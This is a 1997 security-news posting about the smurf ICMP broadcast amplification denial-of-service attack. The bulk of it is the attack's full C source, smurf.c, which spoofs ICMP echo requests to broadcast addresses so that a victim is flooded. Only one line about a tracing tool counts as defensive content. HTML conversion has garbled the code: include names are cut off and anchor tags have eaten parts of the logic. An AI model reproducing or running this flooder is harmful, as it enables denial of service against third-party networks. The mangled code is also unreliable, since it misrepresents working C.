TCP/IP FLOODING

Reported October 13, 1997 by TFreak

Systems Affected

Any system employing TCP/IP

The Problem

The smurf attack is quite simple.  It has a list of broadcast addresses which it stores into an array, and sends a spoofed ICMP echo request to each of those addresses in series and starts again. The result is a devistating attack upon the spoofed IP. Depending on the amount of broadcast addresses used, many, many computers may respond to the echo request.

This attack can EASILY saturate a T1 circuit, rendering it completely useless.

HERE IS THE SMURF SOURCE CODE:

*  $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $*
*  spoofs icmp packets from a host to various broadcast addresses resulting
*  in multiple replies to that host from a single packet.

*  disclaimer:
*     I cannot and will not be held responsible nor legally bound for the
*     malicious activities of individuals who come into possession of this
*     program and I refuse to provide help or support of any kind and do NOT
*     condone use of this program to deny service to anyone or any machine.
*     This is for educational use only. Please Don"t abuse this.
* TFreak
*/

#include <signal>
#include <stdio>
#include <stdlib>
#include <sys>
#include <sys>
#include <netinet>
#include <netinet>
#include <netinet>
#include <netdb>
#include <ctype>
#include <arpa>
#include <unistd>
#include <string>

void banner(void);
void usage(char *);
void smurf(int, struct sockaddr_in, u_long, int);
void ctrlc(int);
unsigned short in_chksum(u_short *, int);


/* stamp */
char id\[\] = $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $;

int main (int argc, char *argv\[\])
\{
   struct sockaddr_in sin;
   struct hostent *he;
   FILE   *bcastfile;
   int    i, sock, bcast, delay, num, pktsize, cycle = 0, x;
   char   buf\[32\], **bcastaddr = malloc(8192);

   banner();
   signal(SIGINT, ctrlc);

   if (argc h_addr, he->h_length);
   sin.sin_family = AF_INET;
   sin.sin_port = htons(0);

   num = atoi(argv\[3\]);
   delay = atoi(argv\[4\]);
   pktsize = atoi(argv\[5\]);

   if ((bcastfile = fopen(argv\[2\], r)) <h1><a name="_NULL_#160_#160_#160_#160_#160_perror_opening_bcast_file_#160_#160_#160_#160_#160_exit_1_#160_#160_#160_#160_x_0_#160_#160_while_feof_bcastfile_#160_#160_#160_#160_#160_fgets_buf_32_bcastfile_#160_#160_#160_#160_#160_if_buf_0_"> NULL) \{
      perror(opening bcast file);
      exit(-1);
   \}
   x = 0;
   while (!feof(bcastfile)) \{
      fgets(buf, 32, bcastfile);
      if (buf\[0\] </a></h1> "#" || buf\[0\] <h1><a name="_n_isdigit_buf_0_continue_#160_#160_#160_#160_#160_for_i_0_i_1024_#160_#160_#160_#160_#160_fprintf_stderr_ERROR_packet_size_must_be_bcast_file_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_num_packets_packet_delay_packet_size_n_n_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_target_#160_#160_#160_#160_#160_#160_#160_address_to_hit_n_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_bcast_file_#160_#160_#160_file_to_read_broadcast_addresses_from_n_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_num_packets_#160_#160_number_of_packets_to_send_0_flood_n_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_packet_delay_#160_wait_between_each_packet_in_ms_n_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_packet_size_#160_#160_size_of_packet_tot_len_htons_sizeof_struct_iphdr_sizeof_struct_icmphdr_psize_#160_#160_ip_gt_ihl_5_#160_#160_ip_gt_version_4_#160_#160_ip_gt_ttl_255_#160_#160_ip_gt_tos_0_#160_#160_ip_gt_frag_off_0_#160_#160_ip_gt_protocol_IPPROTO_ICMP_#160_#160_ip_gt_saddr_sin_sin_addr_s_addr_#160_#160_ip_gt_daddr_dest_#160_#160_ip_gt_check_in_chksum_u_short_ip_sizeof_struct_iphdr_#160_#160_icmp_gt_type_8_#160_#160_icmp_gt_code_0_#160_#160_icmp_gt_checksum_in_chksum_u_short_icmp_sizeof_struct_icmphdr_psize_#160_#160_sendto_sock_packet_sizeof_struct_iphdr_sizeof_struct_icmphdr_psize_#160_#160_#160_#160_#160_#160_#160_#160_#160_0_struct_sockaddr_amp_sin_sizeof_struct_sockaddr_#160_#160_free_packet_#160_#160_#160_#160_#160_#160_#160_#160_#160_#160_free_willy_void_ctrlc_int_ignored_#160_#160_puts_nDone_n_#160_#160_exit_1_unsigned_short_in_chksum_u_short_addr_int_len_#160_#160_register_int_nleft_len_#160_#160_register_int_sum_0_#160_#160_u_short_answer_0_#160_#160_while_nleft_gt_1_#160_#160_#160_#160_#160_sum_addr_#160_#160_#160_#160_#160_nleft_2_#160_#160_#160_#160_if_nleft_"> "\n" || ! isdigit(buf\[0\])) continue;
      for (i = 0; i  1024) \{
      fprintf(stderr, ERROR: packet size must be  <bcast file>
                   <num packets><packet delay><packet size>\n\n
                   target        = address to hit\n
                   bcast file    = file to read broadcast addresses from\n
                   num packets   = number of packets to send (0 = flood)\n
                   packet delay  = wait between each packet (in ms)\n
                   packet size   = size of packet (tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
   ip->ihl = 5;
   ip->version = 4;
   ip->ttl = 255;
   ip->tos = 0;
   ip->frag_off = 0;
   ip->protocol = IPPROTO_ICMP;
   ip->saddr = sin.sin_addr.s_addr;
   ip->daddr = dest;
   ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr));
   icmp->type = 8;
   icmp->code = 0;
   icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);

   sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,
          0, (struct sockaddr *)&sin, sizeof(struct sockaddr));

   free(packet);           /* free willy! */
\}

void ctrlc (int ignored)
\{
   puts(\nDone!\n);
   exit(1);
\}

unsigned short in_chksum (u_short *addr, int len)
\{
   register int nleft = len;
   register int sum = 0;
   u_short answer = 0;

   while (nleft > 1) \{
      sum += *addr++;
      nleft -= 2;
   \}

   if (nleft </packet></packet></num></bcast></a></h1> 1) \{
      *(u_char *)(&answer) = *(u_char *)addr;
      sum += answer;
   \}

   sum = (sum >> 16) + (sum + 0xffff);
   sum += (sum >> 16);
   answer = ~sum;
   return(answer);
\}

</string></unistd></arpa></ctype></netdb></netinet></netinet></netinet></sys></sys></stdlib></stdio></signal>

Stopping the Problem:

MCI has a tool called DoSTracker that may help you track down Smurf users.

To learn more about new NT security concerns, subscribe to NTSD.

Credit:
Reported by TFreak
Posted here at NTSecurity.Net October 12, 1997